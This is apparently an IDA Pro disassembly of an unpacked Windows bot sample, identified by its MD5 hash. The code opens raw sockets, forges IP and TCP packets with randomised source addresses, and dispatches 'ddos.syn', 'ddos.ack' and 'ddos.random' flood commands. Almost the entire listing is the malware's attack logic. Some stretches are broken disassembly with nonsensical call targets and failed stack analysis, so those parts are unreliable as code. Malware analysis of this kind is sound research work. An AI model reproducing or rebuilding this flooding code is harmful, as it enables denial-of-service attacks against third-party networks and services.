;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	E45327D90CD05E392FB2471250EB25D2

; File Name   :	u:\work\e45327d90cd05e392fb2471250eb25d2_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 00020000 ( 131072.)
; Section size in file		: 00020000 ( 131072.)
; Offset to raw	data for section: 00001000
; Flags	E0000040: Data Executable Readable Writable
; Alignment	: default


unicode		macro page,string,zero
		irpc c,<string>
		db '&c', page
		endm
		ifnb <zero>
		dw zero
		endif
endm

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
seg000		segment	para public 'CODE' use32
		assume cs:seg000
		;org 401000h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

		public start

start		proc near		; DATA XREF: seg000:00410717o

var_494		= byte ptr -494h
var_294		= dword	ptr -294h
var_290		= dword	ptr -290h
var_28C		= byte ptr -28Ch
var_20C		= byte ptr -20Ch
var_18C		= byte ptr -18Ch
var_10C		= byte ptr -10Ch
var_8C		= byte ptr -8Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 494h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 0A5h
		mov	esi, eax
		lea	edi, [ebp+var_294]
		rep movsd
		mov	dword ptr [eax+290h], 1
		call	ds:dword_42104C
		push	eax
		call	sub_41551F
		lea	eax, [ebp+var_18C]
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_20C]
		push	eax
		lea	eax, [ebp+var_28C]
		push	eax
		call	sub_4013E9
		push	eax
		lea	eax, [ebp+var_494]
		push	offset unk_423050
		push	eax
		call	sub_4154CD
		xor	esi, esi
		add	esp, 20h
		cmp	[ebp+var_8], esi
		jnz	short loc_401090
		push	esi
		lea	eax, [ebp+var_494]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_10C]
		push	eax
		push	[ebp+var_294]
		call	sub_412D32
		add	esp, 14h


loc_401090:				; CODE XREF: start+6Ej
		lea	eax, [ebp+var_494]
		push	eax
		call	sub_40B151
		push	[ebp+var_290]
		call	sub_415295
		pop	ecx
		pop	ecx
		push	esi
		call	near ptr 544E52C4h
		mov	ebx, 8B555E5Fh	; CODE XREF: sub_4013E9+40p
start		endp ; sp-analysis failed

		in	al, dx
		sub	esp, 284h
		push	ebx
		push	edi
		push	0Eh
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp-0B3h]
		mov	[ebp-0B4h], bl
		rep stosd
		stosw
		stosb
		lea	eax, [ebp-284h]
		push	eax
		push	202h
		call	ds:dword_43A2E0
		test	eax, eax
		jz	short loc_4010F2
		xor	eax, eax
		jmp	loc_4013E5
; ---------------------------------------------------------------------------


loc_4010F2:				; CODE XREF: seg000:004010E9j
		push	1
		pop	edi
		push	edi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		call	ds:dword_43A40C
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-20h], eax
		jz	loc_4013DD
		push	esi
		lea	ecx, [ebp-40h]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp-40h], edi
		call	ds:dword_43A348
		cmp	eax, 0FFFFFFFFh
		jz	loc_4013D3
		push	dword ptr [ebp+14h]
		mov	word ptr [ebp-58h], 2
		call	ds:dword_43A368
		mov	esi, [ebp+8]
		push	28h
		mov	[ebp-56h], ax
		mov	[ebp-54h], esi
		mov	byte ptr [ebp-34h], 45h
		call	ds:dword_43A368
		push	dword ptr [ebp+14h]
		mov	[ebp-32h], ax
		mov	[ebp-30h], di
		mov	[ebp-2Eh], bx
		mov	byte ptr [ebp-2Ch], 80h
		mov	byte ptr [ebp-2Bh], 6
		mov	[ebp-2Ah], bx
		mov	[ebp-24h], esi
		call	ds:dword_43A368
		mov	[ebp-12h], ax
		call	sub_415529
		movzx	eax, ax
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		call	ds:dword_43A368
		push	12345678h
		mov	[ebp-14h], ax
		call	ds:dword_43A364
		push	offset aDdos_syn ; "ddos.syn"
		mov	[ebp-10h], eax
		push	dword ptr [ebp+10h]
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4011C2
		mov	[ebp-0Ch], ebx
		mov	byte ptr [ebp-7], 2
		jmp	short loc_401216
; ---------------------------------------------------------------------------


loc_4011C2:				; CODE XREF: seg000:004011B7j
		push	offset aDdos_ack ; "ddos.ack"
		push	dword ptr [ebp+10h]
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4011DE
		mov	[ebp-0Ch], ebx
		mov	byte ptr [ebp-7], 10h
		jmp	short loc_401216
; ---------------------------------------------------------------------------


loc_4011DE:				; CODE XREF: seg000:004011D3j
		push	offset aDdos_random ; "ddos.random"
		push	dword ptr [ebp+10h]
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401216
		call	sub_415529
		push	3
		cdq
		pop	ecx
		idiv	ecx
		mov	[ebp-0Ch], edx
		call	sub_415529
		push	2
		cdq
		pop	ecx
		idiv	ecx
		neg	edx
		sbb	dl, dl
		and	dl, 0Eh
		add	dl, cl
		mov	[ebp-7], dl


loc_401216:				; CODE XREF: seg000:004011C0j
					; seg000:004011DCj ...
		push	4000h
		mov	byte ptr [ebp-8], 50h
		call	ds:dword_43A368
		mov	[ebp-6], ax
		lea	eax, [ebp-48h]
		push	eax
		mov	[ebp-2], bx
		mov	[ebp+10h], ebx
		call	near ptr 0EB9BBBBBh
		and	al, 8Dh
		inc	ebp
		in	al, 50h
		call	near ptr 1D18B59Bh
		sub	eax, 8BBC75FFh
		inc	ebp
		sbb	[ecx+52B875FFh], bl
		push	eax
		call	sub_415980
		add	eax, [ebp-1Ch]
		push	14h
		pop	esi
		adc	edx, [ebp-18h]
		mov	[ebp-3Ch], eax
		mov	[ebp-38h], edx


loc_401264:				; CODE XREF: seg000:00401394j
					; seg000:004013A2j
		mov	[ebp-4], bx
		call	sub_415529
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	ds:dword_43A368
		mov	[ebp-14h], ax
		call	sub_415529
		mov	edi, eax
		shl	edi, 10h
		call	sub_415529
		or	edi, eax
		push	edi
		call	ds:dword_43A368
		movzx	eax, ax
		mov	[ebp-10h], eax
		mov	eax, [ebp+0Ch]
		inc	dword ptr [ebp+0Ch]
		push	eax
		call	ds:dword_43A364
		mov	[ebp-28h], eax
		mov	eax, [ebp-24h]
		push	esi
		mov	[ebp-74h], eax
		mov	[ebp-70h], bl
		mov	byte ptr [ebp-6Fh], 6
		call	ds:dword_43A368
		mov	[ebp-6Eh], ax
		mov	eax, [ebp-28h]
		mov	[ebp-78h], eax
		lea	eax, [ebp-78h]
		push	20h
		push	eax
		lea	eax, [ebp-0B4h]
		push	eax
		call	sub_4155B0
		lea	eax, [ebp-14h]
		push	esi
		push	eax
		lea	eax, [ebp-94h]
		push	eax
		call	sub_4155B0
		lea	eax, [ebp-0B4h]
		push	34h
		push	eax
		call	sub_40A1AE
		mov	[ebp-4], ax
		lea	eax, [ebp-34h]
		push	esi
		push	eax
		lea	eax, [ebp-0B4h]
		push	eax
		call	sub_4155B0
		lea	eax, [ebp-14h]
		push	esi
		push	eax
		lea	eax, [ebp-0A0h]
		push	eax
		call	sub_4155B0
		push	4
		lea	eax, [ebp-8Ch]
		push	ebx
		push	eax
		call	sub_415550
		add	esp, 44h
		lea	eax, [ebp-0B4h]
		push	28h
		push	eax
		call	sub_40A1AE
		mov	[ebp-2Ah], ax
		lea	eax, [ebp-34h]
		push	esi
		push	eax
		lea	eax, [ebp-0B4h]
		push	eax
		call	sub_4155B0
		add	esp, 14h
		lea	eax, [ebp-58h]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp-0B4h]
		push	28h
		push	eax
		push	dword ptr [ebp-20h]
		call	ds:dword_43A3CC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4013A7
		add	[ebp+10h], eax
		lea	eax, [ebp-1Ch]
		push	eax
		call	near ptr 824ED0E6h
		xchg	eax, esp
		mov	eax, [ebp-18h]
		cmp	eax, [ebp-38h]
		jg	short loc_4013D0
		jl	loc_401264
		mov	eax, [ebp-1Ch]
		cmp	eax, [ebp-3Ch]
		jnb	short loc_4013D0
		jmp	loc_401264
; ---------------------------------------------------------------------------


loc_4013A7:				; CODE XREF: seg000:0040137Dj
		call	ds:dword_43A2FC
		push	eax
		lea	eax, [ebp-0F4h]
		push	offset unk_42308C
		push	eax
		call	sub_4154CD
		lea	eax, [ebp-0F4h]
		push	eax
		call	sub_40B151
		add	esp, 10h
		jmp	short loc_4013D3
; ---------------------------------------------------------------------------


loc_4013D0:				; CODE XREF: seg000:00401392j
					; seg000:004013A0j
		mov	ebx, [ebp+10h]


loc_4013D3:				; CODE XREF: seg000:0040112Aj
					; seg000:004013CEj
		push	dword ptr [ebp-20h]
		call	ds:dword_43A400
		pop	esi


loc_4013DD:				; CODE XREF: seg000:0040110Dj
		call	ds:dword_43A2C8
		mov	eax, ebx


loc_4013E5:				; CODE XREF: seg000:004010EDj
		pop	edi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================



sub_4013E9	proc near		; CODE XREF: start+4Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		push	edi
		push	[esp+0Ch+arg_0]
		call	sub_40A03F
		push	[esp+10h+arg_4]
		mov	esi, eax
		call	sub_415A3F
		push	[esp+14h+arg_C]
		mov	ebx, eax
		call	sub_415A3F
		mov	edi, eax
		call	sub_415529
		cdq
		mov	ecx, 200h
		push	edi
		idiv	ecx
		push	ebx
		push	[esp+20h+arg_8]
		lea	eax, [edx+esi+100h]
		push	eax
		push	esi
		call	near ptr loc_4010AF+3
		add	esp, 20h
		test	eax, eax
		jnz	short loc_401438
		push	1
		pop	eax


loc_401438:				; CODE XREF: sub_4013E9+4Aj
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		cdq
		idiv	edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4013E9	endp

; ---------------------------------------------------------------------------


loc_401447:				; DATA XREF: seg000:004108FFo
		push	ebp
		mov	ebp, esp
		sub	esp, 3BCh
		push	ebx
		push	esi
		mov	eax, [ebp+8]
		push	edi
		push	68h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-1BCh]
		push	1
		pop	ebx
		push	0FFh
		push	3
		rep movsd
		push	2
		mov	[eax+19Ch], ebx
		call	ds:dword_43A3E8
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-4], eax
		jnz	short loc_4014E2
		call	ds:dword_43A2FC
		push	eax
		lea	eax, [ebp-3BCh]
		push	offset unk_42322C


loc_401495:				; DATA XREF: seg002:off_424D5Co
					; seg002:off_425D04o
		push	eax
		call	sub_4154CD
		xor	edi, edi
		add	esp, 0Ch
		cmp	[ebp-24h], edi
		jnz	short loc_4014C5
		push	edi
		lea	eax, [ebp-3BCh]
		push	dword ptr [ebp-28h]
		push	eax
		lea	eax, [ebp-0B8h]
		push	eax
		push	dword ptr [ebp-1BCh]
		call	sub_412D32
		add	esp, 14h


loc_4014C5:				; CODE XREF: seg000:004014A3j
		lea	eax, [ebp-3BCh]
		push	eax
		call	sub_40B151
		push	dword ptr [ebp-38h]
		call	sub_415295
		pop	ecx
		pop	ecx
		push	edi
		call	near ptr 0FD1BF1D2h
		leave


loc_4014E2:				; CODE XREF: seg000:00401481j
		lea	ecx, [ebp-0Ch]
		push	4
		push	ecx
		xor	edi, edi
		push	2
		push	edi
		push	eax
		mov	[ebp-0Ch], ebx
		call	ds:dword_43A348
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_401559
		call	ds:dword_43A2FC
		push	eax
		lea	eax, [ebp-3BCh]
		push	offset unk_4231E0
		push	eax
		call	sub_4154CD
		add	esp, 0Ch
		cmp	[ebp-24h], edi
		jnz	short loc_40153C
		push	edi
		lea	eax, [ebp-3BCh]
		push	dword ptr [ebp-28h]
		push	eax
		lea	eax, [ebp-0B8h]
		push	eax
		push	dword ptr [ebp-1BCh]
		call	sub_412D32
		add	esp, 14h


loc_40153C:				; CODE XREF: seg000:0040151Aj
		lea	eax, [ebp-3BCh]
		push	eax
		call	sub_40B151
		push	dword ptr [ebp-38h]
		call	sub_415295
		pop	ecx
		pop	ecx
		push	edi
		call	near ptr 0B42A0093h
		inc	edi


loc_401559:				; CODE XREF: seg000:004014FAj
		lea	eax, [ebp-1B8h]
		push	eax
		call	ds:dword_43A3A8
		cmp	eax, 0FFFFFFFFh
		jnz	short near ptr loc_4015BF+1
		lea	eax, [ebp-3BCh]
		push	offset unk_4231AC
		push	eax
		call	sub_4154CD
		cmp	[ebp-24h], edi
		pop	ecx
		pop	ecx
		jnz	short loc_4015A3
		push	edi
		lea	eax, [ebp-3BCh]
		push	dword ptr [ebp-28h]
		push	eax
		lea	eax, [ebp-0B8h]
		push	eax
		push	dword ptr [ebp-1BCh]
		call	sub_412D32
		add	esp, 14h


loc_4015A3:				; CODE XREF: seg000:00401581j
		lea	eax, [ebp-3BCh]
		push	eax
		call	sub_40B151
		push	dword ptr [ebp-38h]
		call	sub_415295
		pop	ecx
		pop	ecx
		push	edi
		call	near ptr 1B336CDEh


loc_4015BF:				; CODE XREF: seg000:00401569j
		imul	dword ptr [edx+10h]
		lea	eax, [ebp-1Ch]
		push	edi
		push	eax
		call	sub_415550
		add	esp, 0Ch
		mov	word ptr [ebp-1Ch], 2
		push	edi
		call	ds:dword_43A368
		mov	[ebp-1Ah], ax
		lea	eax, [ebp-1B8h]
		push	eax
		call	ds:dword_43A3A8
		mov	esi, ds:dword_42104C
		mov	[ebp-18h], eax
		mov	[ebp+8], edi
		call	esi
		mov	[ebp-8], eax


loc_4015FE:				; CODE XREF: seg000:0040172Fj
		call	esi
		sub	eax, [ebp-8]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		cmp	eax, [ebp-30h]
		ja	near ptr loc_4017A8+1
		push	41Ch
		mov	ds:byte_438B68,	45h
		call	ds:dword_43A368
		cmp	[ebp-2Ch], edi
		mov	ds:word_438B6A,	ax
		mov	ds:word_438B6C,	bx
		mov	ds:word_438B6E,	di
		mov	ds:byte_438B70,	80h
		mov	ds:byte_438B71,	bl
		mov	ds:word_438B72,	di
		jz	short loc_401684
		call	sub_415529
		mov	ebx, eax
		shl	ebx, 8
		call	sub_415529
		add	ebx, eax
		shl	ebx, 8
		call	sub_415529
		add	ebx, eax
		shl	ebx, 8
		call	sub_415529
		add	ebx, eax
		push	1
		mov	ds:dword_438B74, ebx
		pop	ebx
		jmp	short loc_40169C
; ---------------------------------------------------------------------------


loc_401684:				; CODE XREF: seg000:00401652j
		push	dword ptr [ebp-1BCh]
		call	sub_40A155
		pop	ecx
		push	eax
		call	ds:dword_43A3A8
		mov	ds:dword_438B74, eax


loc_40169C:				; CODE XREF: seg000:00401682j
		mov	eax, [ebp-18h]
		mov	ds:dword_438B78, eax
		call	sub_415529
		cdq
		mov	ecx, 100h
		idiv	ecx
		mov	ds:byte_438B7C,	dl
		call	sub_415529
		cdq
		mov	ecx, 100h
		idiv	ecx
		mov	ds:byte_438B7D,	dl
		call	sub_415529
		cdq
		mov	ecx, 0F0h
		push	400h
		idiv	ecx
		mov	ds:word_438B7E,	di
		mov	ds:word_438B82,	bx
		inc	edx
		mov	ds:word_438B80,	dx
		call	sub_415529
		cdq
		mov	ecx, 0FFh
		idiv	ecx
		push	edx
		push	offset dword_438B84
		call	sub_415550
		add	esp, 0Ch
		lea	eax, [ebp-1Ch]
		push	10h
		push	eax
		push	edi
		push	41Ch
		push	offset byte_438B68
		push	dword ptr [ebp-4]
		call	ds:dword_43A3CC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_401734
		inc	dword ptr [ebp+8]
		jmp	loc_4015FE
; ---------------------------------------------------------------------------


loc_401734:				; CODE XREF: seg000:0040172Aj
		push	dword ptr [ebp-4]
		call	ds:dword_43A400
		call	ds:dword_43A2FC
		push	eax
		lea	eax, [ebp-1B8h]
		push	dword ptr [ebp+8]
		push	eax
		push	offset unk_423148
		lea	eax, [ebp-3BCh]
		push	200h
		push	eax
		call	sub_415A4A
		add	esp, 18h
		cmp	[ebp-24h], edi
		jnz	short loc_40178C
		push	edi
		lea	eax, [ebp-3BCh]
		push	dword ptr [ebp-28h]
		push	eax
		lea	eax, [ebp-0B8h]
		push	eax
		push	dword ptr [ebp-1BCh]
		call	sub_412D32
		add	esp, 14h


loc_40178C:				; CODE XREF: seg000:0040176Aj
		lea	eax, [ebp-3BCh]
		push	eax
		call	sub_40B151
		push	dword ptr [ebp-38h]
		call	sub_415295
		pop	ecx
		pop	ecx
		push	edi
		call	near ptr 6DE9A019h


loc_4017A8:				; CODE XREF: seg000:004017AAj
					; seg000:0040160Fj
		mov	ch, 0FFh
		jnz	short loc_4017A8
		call	ds:dword_43A400
		mov	eax, [ebp+8]
		xor	edx, edx
		imul	eax, 3Ch
		mov	ecx, eax
		shr	eax, 0Ah
		div	dword ptr [ebp-30h]
		shr	ecx, 14h
		push	ecx
		push	eax
		lea	eax, [ebp-1B8h]
		push	dword ptr [ebp+8]
		push	eax
		lea	eax, [ebp-138h]
		push	eax
		lea	eax, [ebp-3BCh]
		push	offset unk_4230E4
		push	eax
		call	sub_4154CD
		add	esp, 1Ch
		cmp	[ebp-24h], edi
		jnz	short loc_401811
		push	edi
		lea	eax, [ebp-3BCh]
		push	dword ptr [ebp-28h]
		push	eax
		lea	eax, [ebp-0B8h]
		push	eax
		push	dword ptr [ebp-1BCh]
		call	sub_412D32
		add	esp, 14h


loc_401811:				; CODE XREF: seg000:004017EFj
		lea	eax, [ebp-3BCh]
		push	eax
		call	sub_40B151
		push	dword ptr [ebp-38h]
		call	sub_415295
		pop	ecx
		pop	ecx
		push	edi
		call	near ptr 77A30806h
		xor	[ebp-75h], edx
		in	al, dx
		sub	esp, 414h
		mov	eax, [ebp+8]
		push	esi
		push	edi
		mov	ecx, 85h
		mov	esi, eax
		lea	edi, [ebp-214h]
		rep movsd
		mov	dword ptr [eax+210h], 1
		lea	eax, [ebp-110h]
		push	eax
		lea	eax, [ebp-190h]
		push	eax
		lea	eax, [ebp-210h]
		push	eax
		call	sub_401B7C
		push	eax
		lea	eax, [ebp-414h]
		push	offset dword_423274
		push	eax
		call	sub_4154CD
		xor	esi, esi
		add	esp, 18h
		cmp	[ebp-8], esi
		jnz	short loc_4018AB
		push	esi
		lea	eax, [ebp-414h]
		push	dword ptr [ebp-0Ch]
		push	eax
		lea	eax, [ebp-90h]
		push	eax
		push	dword ptr [ebp-214h]
		call	sub_412D32
		add	esp, 14h


loc_4018AB:				; CODE XREF: seg000:00401889j
		lea	eax, [ebp-414h]
		push	eax
		call	sub_40B151
		push	dword ptr [ebp-10h]
		call	sub_415295
		pop	ecx
		pop	ecx
		push	esi
		call	near ptr 356B45EBh
		ficomp	dword ptr [edi+5Eh]

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4018CA	proc near		; CODE XREF: sub_401B7C+3Cp

var_284		= byte ptr -284h
var_F4		= byte ptr -0F4h
var_B4		= byte ptr -0B4h
var_B3		= byte ptr -0B3h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_8C		= byte ptr -8Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= byte ptr -70h
var_6F		= byte ptr -6Fh
var_6E		= word ptr -6Eh
var_58		= dword	ptr -58h
var_50		= word ptr -50h
var_4E		= word ptr -4Eh
var_4C		= dword	ptr -4Ch
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= word ptr -34h
var_32		= word ptr -32h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= byte ptr -28h
var_27		= byte ptr -27h
var_26		= word ptr -26h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= byte ptr -20h
var_1E		= word ptr -1Eh
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 284h
		push	ebx
		push	edi
		push	0Eh
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_B3]
		mov	[ebp+var_B4], bl
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_284]
		push	eax
		push	202h
		call	ds:dword_43A2E0
		test	eax, eax
		jz	short loc_40190A
		xor	eax, eax
		jmp	loc_401B78
; ---------------------------------------------------------------------------


loc_40190A:				; CODE XREF: sub_4018CA+37j
		push	1
		pop	edi
		push	edi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		call	ds:dword_43A40C
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_C], eax
		jz	loc_401B70
		push	esi
		lea	ecx, [ebp+var_38]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_38], edi
		call	ds:dword_43A348
		cmp	eax, 0FFFFFFFFh
		jz	loc_401B66
		push	10h
		lea	eax, [ebp+var_50]
		push	ebx
		push	eax
		call	sub_415550
		add	esp, 0Ch
		mov	[ebp+var_50], 2


loc_40195D:				; CODE XREF: sub_4018CA+104j
		push	[ebp+arg_8]
		call	ds:dword_43A368
		mov	esi, [ebp+arg_0]
		push	28h
		mov	[ebp+var_4E], ax
		mov	[ebp+var_4C], esi
		mov	[ebp+var_20], 45h
		call	ds:dword_43A368
		push	[ebp+arg_8]
		mov	[ebp+var_1E], ax
		mov	[ebp+var_1C], di
		mov	[ebp+var_1A], bx
		mov	[ebp+var_18], 80h
		mov	[ebp+var_17], 6
		mov	[ebp+var_16], bx
		mov	[ebp+var_10], esi
		call	ds:dword_43A368
		push	4000h
		mov	[ebp+var_32], ax
		mov	[ebp+var_2C], ebx
		mov	[ebp+var_28], 50h
		mov	[ebp+var_27], 2
		call	ds:dword_43A368
		mov	[ebp+var_26], ax
		lea	eax, [ebp+var_40]
		push	eax
		mov	[ebp+var_22], bx
		mov	[ebp+arg_8], ebx
		call	near ptr 0A2F6D183h
		jz	short loc_40195D
		inc	ebp
		clc
		push	eax
		call	near ptr 65892358h
		in	al, dx
		push	[ebp+var_3C]
		mov	eax, [ebp+arg_C]
		cdq
		push	[ebp+var_40]
		push	edx
		push	eax
		call	sub_415980
		add	eax, [ebp+var_8]
		mov	esi, edx
		adc	esi, [ebp+var_4]
		mov	[ebp+var_58], eax


loc_4019F5:				; CODE XREF: sub_4018CA+25Dj
					; sub_4018CA+26Bj
		mov	[ebp+var_24], bx
		call	sub_415529
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	ds:dword_43A368
		mov	[ebp+var_34], ax
		call	sub_415529
		mov	edi, eax
		shl	edi, 10h
		call	sub_415529
		or	edi, eax
		push	edi
		call	ds:dword_43A368
		movzx	eax, ax
		mov	[ebp+var_30], eax
		mov	eax, [ebp+arg_4]
		inc	[ebp+arg_4]
		push	eax
		call	ds:dword_43A364
		push	14h
		mov	[ebp+var_14], eax
		mov	eax, [ebp+var_10]
		pop	edi
		push	edi
		mov	[ebp+var_74], eax
		mov	[ebp+var_70], bl
		mov	[ebp+var_6F], 6
		call	ds:dword_43A368
		mov	[ebp+var_6E], ax
		mov	eax, [ebp+var_14]
		mov	[ebp+var_78], eax
		lea	eax, [ebp+var_78]
		push	20h
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_4155B0
		lea	eax, [ebp+var_34]
		push	edi
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_4155B0
		lea	eax, [ebp+var_B4]
		push	34h
		push	eax
		call	sub_40A1AE
		mov	[ebp+var_24], ax
		lea	eax, [ebp+var_20]
		push	edi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_4155B0
		lea	eax, [ebp+var_34]
		push	edi
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_4155B0
		push	4
		lea	eax, [ebp+var_8C]
		push	ebx
		push	eax
		call	sub_415550
		add	esp, 44h
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		call	sub_40A1AE
		mov	[ebp+var_16], ax
		lea	eax, [ebp+var_20]
		push	edi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_4155B0
		add	esp, 14h
		lea	eax, [ebp+var_50]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		push	[ebp+var_C]
		call	ds:dword_43A3CC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_401B3A
		add	[ebp+arg_8], eax
		lea	eax, [ebp+var_8]
		push	eax
		call	near ptr 0AA00EE95h
		pop	es
		mov	eax, [ebp+var_4]
		cmp	eax, esi
		jg	short loc_401B63
		jl	loc_4019F5
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+var_58]
		jnb	short loc_401B63
		jmp	loc_4019F5
; ---------------------------------------------------------------------------


loc_401B3A:				; CODE XREF: sub_4018CA+247j
		call	ds:dword_43A2FC
		push	eax
		lea	eax, [ebp+var_F4]
		push	offset dword_4232B0
		push	eax
		call	sub_4154CD
		lea	eax, [ebp+var_F4]
		push	eax
		call	sub_40B151
		add	esp, 10h
		jmp	short loc_401B66
; ---------------------------------------------------------------------------


loc_401B63:				; CODE XREF: sub_4018CA+25Bj
					; sub_4018CA+269j
		mov	ebx, [ebp+arg_8]


loc_401B66:				; CODE XREF: sub_4018CA+78j
					; sub_4018CA+297j
		push	[ebp+var_C]
		call	ds:dword_43A400
		pop	esi


loc_401B70:				; CODE XREF: sub_4018CA+5Bj
		call	ds:dword_43A2C8
		mov	eax, ebx


loc_401B78:				; CODE XREF: sub_4018CA+3Bj
		pop	edi
		pop	ebx
		leave
		retn
sub_4018CA	endp


; =============== S U B	R O U T	I N E =======================================



sub_401B7C	proc near		; CODE XREF: seg000:0040186Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		push	edi
		push	[esp+0Ch+arg_0]
		call	sub_40A03F
		push	[esp+10h+arg_4]
		mov	esi, eax
		call	sub_415A3F
		push	[esp+14h+arg_8]
		mov	ebx, eax
		call	sub_415A3F
		mov	edi, eax
		call	sub_415529
		cdq
		mov	ecx, 200h
		push	edi
		idiv	ecx
		push	ebx
		lea	eax, [edx+esi+100h]
		push	eax
		push	esi
		call	sub_4018CA
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_401BC7
		push	1
		pop	eax


loc_401BC7:				; CODE XREF: sub_401B7C+46j
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		cdq
		idiv	edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_401B7C	endp

; ---------------------------------------------------------------------------


loc_401BD6:				; DATA XREF: seg000:0040FA57o
		push	ebp
		mov	ebp, esp
		sub	esp, 440h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	68h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-240h]
		rep movsd
		push	1
		xor	ebx, ebx
		pop	esi
		lea	edi, [ebp-9Fh]
		push	0Eh
		mov	[eax+19Ch], esi
		pop	ecx
		xor	eax, eax
		mov	[ebp-0A0h], bl
		rep stosd
		stosw
		stosb
		mov	edi, ds:dword_42104C
		call	edi
		push	eax
		call	sub_41551F
		pop	ecx
		push	0FFh
		push	3
		push	2
		call	ds:dword_43A3E8
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-4], eax
		jnz	short near ptr loc_401C9E+1
		call	ds:dword_43A2FC
		push	eax
		lea	eax, [ebp-440h]
		push	offset dword_423438
		push	eax
		call	sub_4154CD
		add	esp, 0Ch
		cmp	[ebp-0A8h], ebx
		jnz	short loc_401C7F
		push	ebx
		lea	eax, [ebp-440h]
		push	dword ptr [ebp-0ACh]
		push	eax
		lea	eax, [ebp-13Ch]
		push	eax
		push	dword ptr [ebp-240h]
		call	sub_412D32
		add	esp, 14h


loc_401C7F:				; CODE XREF: seg000:00401C5Aj
		lea	eax, [ebp-440h]
		push	eax
		call	sub_40B151
		push	dword ptr [ebp-0BCh]
		call	sub_415295
		pop	ecx
		pop	ecx
		push	ebx
		call	near ptr 0D4BBA1C5h


loc_401C9E:				; CODE XREF: seg000:00401C37j
		test	[ebp+46ACC4Dh],	ecx
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp-34h], esi
		call	ds:dword_43A348
